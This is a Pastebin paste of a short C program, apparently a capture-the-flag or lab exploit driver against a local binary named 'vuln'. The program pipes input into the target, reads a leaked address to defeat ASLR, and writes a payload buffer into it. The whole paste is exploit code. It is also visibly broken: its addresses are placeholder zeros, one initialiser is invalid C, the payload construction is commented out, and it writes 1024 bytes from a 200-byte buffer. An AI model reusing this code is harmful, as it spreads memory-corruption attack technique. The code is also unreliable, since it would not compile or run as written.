Advertisement
Guest User

Untitled

a guest
Nov 18th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <fcntl.h>
  5. #include <sys/types.h>
  6.  
  7. int main() {
  8.  
  9. int fixedLeak = 0;
  10. int funcAddr = 0;
  11. char padding[128] = 0;
  12. char exploit[200] = 0;
  13.  
  14.  
  15. int fd[2];
  16.  
  17. pid_t pid;
  18.  
  19. pipe(fd);
  20.  
  21. pid = fork();
  22.  
  23. if(pid == 0){
  24. close(fd[1]);
  25. dup2(fd[0],0);
  26.  
  27. execv("./vuln",NULL);
  28.  
  29. }
  30. printf("[*] Reading leaked address .... \n");
  31.  
  32. sleep(2);
  33. char readData[64];
  34.  
  35. FILE *f = fopen("./leak.txt","r");
  36. fgets(readData,64,f);
  37.  
  38. fclose(f);
  39. int addr = 0;
  40.  
  41. sscanf(readData,"%x",&addr);
  42.  
  43. printf("leaked address = %x \n",addr);
  44.  
  45. int aslrOffset = addr - fixedLeak;
  46.  
  47. printf("ASLR offset = %x\n",aslrOffset);
  48. funcAddr = funcAddr + aslrOffset;
  49.  
  50.  
  51. printf("making payload \n");
  52.  
  53. close(fd[0]);
  54.  
  55.  
  56. //
  57. //sprintf(exploit,%s%c%c%c,padding,one,two,three)
  58.  
  59. close(fd[0]);
  60. write(fd[1],exploit,1024);
  61. return 0;
  62.  
  63.  
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement